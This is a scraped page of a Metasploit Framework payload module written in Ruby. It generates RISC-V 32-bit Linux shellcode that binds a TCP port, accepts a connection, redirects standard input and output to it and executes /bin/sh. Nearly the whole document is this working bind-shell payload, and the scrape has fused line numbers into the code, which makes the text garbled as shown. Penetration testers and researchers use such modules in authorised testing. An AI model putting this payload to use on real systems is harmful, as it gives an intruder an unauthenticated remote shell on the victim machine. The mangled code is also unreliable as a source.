Path: blob/master/modules/payloads/singles/linux/riscv32le/shell_bind_tcp.rb
28811 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 18078include Msf::Payload::Single9include Msf::Payload::Linux10include Msf::Sessions::CommandShellOptions1112SYS_SOCKET = 19813SYS_BIND = 20014SYS_LISTEN = 20115SYS_ACCEPT = 20216SYS_DUP3 = 2417SYS_EXECVE = 22118AF_INET = 219SOCK_STREAM = 120IPPROTO_IP = 02122def initialize(info = {})23super(24merge_info(25info,26'Name' => 'Linux Command Shell, Bind TCP Inline',27'Description' => 'Listen for a connection and spawn a command shell',28'Author' => [29'modexp', # bind.s RISC-V 64-bit shellcode30'bcoles', # RISC-V 32-bit shellcode port and metasploit31],32'License' => BSD_LICENSE,33'Platform' => 'linux',34'Arch' => [ ARCH_RISCV32LE ],35'References' => [36['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],37['URL', 'https://github.com/bcoles/shellcode/blob/main/riscv32/bindshell/bind.s'],38['URL', 'https://web.archive.org/web/20230326161514/https://github.com/odzhan/shellcode/commit/d3ee25a6ebcdd21a21d0e6eccc979e45c24a9a1d'],39],40'Handler' => Msf::Handler::BindTcp,41'Session' => Msf::Sessions::CommandShellUnix42)43)44end4546# Encode a RISC-V LUI (Load Upper Immediate) instruction47def encode_lui(rd, imm20)480b0110111 | ((imm20 & 0xfffff) << 12) | (rd << 7)49end5051# Encode a RISC-V ADDI (Add Immediate) instruction52def encode_addi(rd, rs1, imm12)530b0010011 | ((imm12 & 0xfff) << 20) | (rs1 << 15) | (0b000 << 12) | (rd << 7)54end5556# Emit RISC-V instruction words that build an arbitrary 32-bit constant in a chosen register using LUI+ADDI.57def load_const_into_reg32(const, rd)58raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)5960max_const = 0xFFFF_FFFF6162raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)6364if const >= -2048 && const <= 204765return [encode_addi(rd, 0, const)]66end6768upper = (const + 0x800) >> 1269low = const & 0xfff70[71encode_lui(rd, upper),72encode_addi(rd, rd, low)73]74end7576def generate(_opts = {})77return super unless datastore['LPORT']7879lport = datastore['LPORT'].to_i80sockaddr_word = AF_INET | ([lport].pack('n').unpack1('v') << 16)8182shellcode = [83# prepare stack840xff010113, # addi sp,sp,-168586# s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);87*load_const_into_reg32(SYS_SOCKET, 17), # li a7,198 # SYS_socket88*load_const_into_reg32(IPPROTO_IP, 12), # li a2,0 # IPPROTO_IP89*load_const_into_reg32(SOCK_STREAM, 11), # li a1,1 # SOCK_STREAM90*load_const_into_reg32(AF_INET, 10), # li a0,2 # AF_INET910x00000073, # ecall9293# bind(s, &sa, sizeof(sa));940x00050693, # mv a3,a0 # a3 = s95*load_const_into_reg32(SYS_BIND, 17), # li a7,200 # SYS_bind96*load_const_into_reg32(16, 12), # li a2,16 # sizeof(sockaddr_in)97*load_const_into_reg32(sockaddr_word, 11), # li a1,<packed> # sin_family=AF_INET, sin_port=port, sin_addr=INADDR_ANY980x00b12023, # sw a1,0(sp) # store first 8 bytes (family+port+addr) at stack990x00012223, # sw 0,4(sp) # sin_addr1000x00012423, # sw 0,8(sp) # sin_zero1010x00012623, # sw 0,12(sp) # sin_zero1020x00010593, # mv a1,sp # a1 = &sa1030x00068513, # mv a0,a3 # a0 = s1040x00000073, # ecall105106# listen(s, 1);107*load_const_into_reg32(SYS_LISTEN, 17), # li a7,201 # SYS_listen1080x00100593, # li a1,1 # backlog = 11090x00068513, # mv a0,a3 # a0 = s1100x00000073, # ecall111112# r = accept(s, 0, 0);113*load_const_into_reg32(SYS_ACCEPT, 17), # li a7,202 # SYS_accept1140x00000613, # li a2,0 # addrlen = NULL1150x00000593, # li a1,0 # addr = NULL1160x00068513, # mv a0,a3 # a0 = s1170x00000073, # ecall118119# dup stdin/stdout/stderr1200x00050713, # mv a4,a0121*load_const_into_reg32(SYS_DUP3, 17), # li a7,24 # SYS_dup3122*load_const_into_reg32(3, 11), # li a1,3 # start from STDERR_FILENO + 1 = 3123# c_dup:1240x00070513, # mv a0,a41250xfff58593, # addi a1,a1,-11260x00000073, # ecall1270xfe059ae3, # bnez a1,100ec <c_dup>128129# execve("/bin/sh", NULL, NULL);130*load_const_into_reg32(SYS_EXECVE, 17), # li a7,221131*load_const_into_reg32(0x6e69622f, 5), # "/bin"1320x00512023, # sw t0,0(sp)133*load_const_into_reg32(0x0068732f, 5), # "/sh\0"1340x00512223, # sw t0,4(sp)1350x00010513, # mv a0,sp # path = /bin/sh1360x00000593, # li a1,0 # argv = NULL1370x00000613, # li a2,0 # envp = NULL1380x00000073 # ecall139].pack('V*')140141# align our shellcode to 4 bytes142shellcode += "\x00" while shellcode.bytesize % 4 != 0143144super.to_s + shellcode145end146end147148149